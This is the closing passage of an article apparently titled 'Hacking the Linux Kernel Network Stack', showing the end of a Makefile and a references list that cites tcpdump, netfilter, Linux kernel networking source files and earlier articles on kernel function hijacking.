$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
rm -rf *.o
rm -rf ./*~
<-->


------[ References

This appendix contains a list of references used in writing this article.

[1]  The tcpdump group
      http://www.tcpdump.org
[2]  The Packet Factory
      http://www.packetfactory.net
[3]  My network tools page -
      http://uqconnect.net/~zzoklan/software/#net_tools
[4]  Silvio Cesare's Kernel Function Hijacking article
      http://vx.netlux.org/lib/vsc08.html
[5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
[6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
[7] Harald Welte's Journey of a packet through the Linux 2.4 network
     stack
     http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
[8] The Netfilter documentation page
     http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
     http://www.phrack.org/show.php?p=55&a=12
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
     http://www.linuxjournal.com/article.php?sid=4852

你可能感兴趣的:(Hacking the Linux Kernel Network Stack)